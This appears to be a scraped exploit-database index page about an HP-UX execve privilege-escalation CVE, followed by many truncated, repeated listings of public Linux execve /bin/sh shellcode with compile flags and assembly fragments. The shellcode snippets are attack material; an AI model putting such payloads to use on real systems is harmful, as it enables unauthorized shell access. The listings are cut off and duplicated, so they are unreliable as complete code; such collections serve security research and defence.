HP-UX privilege escalation

Privilege escalation via execve...

CVE-2015-2132

Unspecified vulnerability in the execve system-call implementation in HP HP-UX B.11.11, B.11.23, and B.11.31 allows local users to gain privileges via unknown vectors...

CVE-2015-2132

CVE-2015-2132 describes a local privilege-elevation vulnerability in HP-UX execve(2) across HP-UX B.11.11, B.11.23 and B.11.31. Root cause: vulnerable execve system-call implementation. Exploitation is local; HP released patches PHKL_44305 (11.11), PHKL_44285 (11.23) and PHKL_44278 (11.31) per HP...

Scientific Linux Security Update : kernel on SL6.x i386/x86_64 (20150722)

A flaw was found in the way Linux kernel's Transparent Huge Pages THP implementation handled non-huge page migration. A local, unprivileged user could use this flaw to crash the kernel by migrating transparent hugepages. CVE-2014-3940, Moderate A buffer overflow flaw was found in the way the Linu...

RedHat Update for kernel RHSA-2015:1272-01

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

linux/x86-64 execve shellcode

/ Compile with: gcc -fno-stack-protector -z execstack This execve shellcode is encoded with 0xff and is for 64 bit linux. shell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080:=0948 b9 ff ff ff ff ff =09movabs rcx,0xffffffffffffffff 400087:=09ff ff ff=20...

linux/x86 execve /bin/sh - shellcode 23 bytes

/ Compile with: gcc -fno-stack-protector -z execstack 23 byte execve shellcode 2 ; int execveconst char filename, char const argv, char const envp; 3 BITS 64 4 5 section .text 6 global start 7 8 start: 9 xor rdx, rdx ;zero out rdx 10 push rdx ;push rdx to stack to null terminate /bin//sh 11 mov a...

linux/x86-64 - Encoded execve shellcode

/ Compile with: gcc -fno-stack-protector -z execstack This execve shellcode is encoded with 0xff and is for 64 bit linux. shell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080: 48 b9 ff ff ff ff ff movabs rcx,0xffffffffffffffff 400087: ff ff ff 40008a: 49 b8 ae b...

encoded 64 bit execve shellcode

encoded 64 bit execve shellcode. Shellcode exploit for linux platform / Compile with: gcc -fno-stack-protector -z execstack This execve shellcode is encoded with 0xff and is for 64 bit linux. shell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080:=0948 b9 ff ff ff...

Linux 64 bit - Encoded execve shellcode

Linux 64 bit - Encoded execve shellcode. Shellcode exploit for linx86-64 platform / Compile with: gcc -fno-stack-protector -z execstack This execve shellcode is encoded with 0xff and is for 64 bit linux. shell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080: 48 b...

Linux x86 - execve /bin/sh 23 Bytes

Linux x86 - execve /bin/sh 23 Bytes. Shellcode exploit for linx86-64 platform / Compile with: gcc -fno-stack-protector -z execstack 23 byte execve shellcode 2 ; int execveconst char filename, char const argv, char const envp; 3 BITS 64 4 5 section .text 6 global start 7 8 start: 9 xor rdx, rdx...

linux/x86-64 execve/bin/sh 30 bytes

linux/x86-64 execve/bin/sh 30 bytes. Shellcode exploit for linx86-64 platform / William Borskey 2015 Compile with: gcc -fno-stack-protector -z execstack Shellcode written in 64 bit Intel assembly using yasm. 1 ; int execveconst char filename, char const argv, char const envp; 2 BITS 64 3 4 sectio...

linux/x86 seanux-a 1.0 execve shellcode - 80 bytes

seanux-a Linux distribution is an operating system made as a collection of software based around the Linux kernel and often around a package management system. Most distributions come ready to use and pre-compiled for a specific instruction set, while others are distributed in source code form an...

Linux/x86 - execve /bin/sh shellcode 21 bytes 2

Linux/x86 - execve /bin/sh shellcode 21 bytes 2. Shellcode exploit for linx86 platform ​​Linux/x86 - Shutdowninit 0 - 30 bytes Greetz : BombermanLeader Author : B3mB4m 08048060 : 8048060: 31 c0 8048062: 50 8048063: 68 68 61 6c 74 push $0x746c6168 8048068: 68 69 6e 2f 2f push $0x2f2f6e69 804806d: ...

linux/x86 - execve /bin/sh shellcode - 21 bytes

Linux/x86 execve /bin/sh shellcode 21 bytes Greetz : KnocKout,curtis,BombermanLeader Author : B3mB4m Disassembly of section .text: 08048060 : 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 2f 2f 73 68 push $0x68732f2f 8048068: 68 2f 62 69 6e push $0x6e69622f 804806d: 89 e3 mov...

Linux/x86 - execve /bin/sh shellcode 21 bytes

Linux/x86 - execve /bin/sh shellcode 21 bytes. Shellcode exploit for linx86 platform Linux/x86 execve /bin/sh shellcode 21 bytes Greetz : KnocKout,curtis,BombermanLeader Author : B3mB4m Disassembly of section .text: 08048060 : 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 2f 2f 7...

linux/x86 execve "/bin/sh" shellcode - 26 bytes

/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x8664 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global start start: xor ecx,ecx mul ecx ;execve"/bin/sh", NULL, NULL mov al,11 jmp shell shellret: pop ebx push ecx push ebx pop ebx int...

Linux/x86 - execve "/bin/sh" - shellcode 26 bytes

Linux/x86 - execve "/bin/sh" - shellcode 26 bytes. Shellcode exploit for linx86 platform / ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x8664 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global start start: xor ecx,ecx mul ecx...

linux/x86-64 - Execve /bin/sh Shellcode Via Push - 23 bytes

/ Execve /bin/sh Shellcode Via Push Linux x8664 23 bytes Dying to be the shortest. Copyright C 2015 Gu Zhengxiong email protected 27 April 2015 GPL .global start start: char const argv xorl %esi, %esi 'h' 's' '/' '/' 'n' 'i' 'b' '/' movq $0x68732f2f6e69622f, %rbx for '\x00' pushq %rsi pushq %rbx...

Linux/x86 execve "/bin/sh" - shellcode - 35 bytes

/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x8664 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode section .text: 08048060 : 8048060: eb 17 jmp 8048079 08048062 : 8048062: 5e pop %esi 8048063: 31 d2 xor %edx,%edx 8048065: 52 push %edx 804806...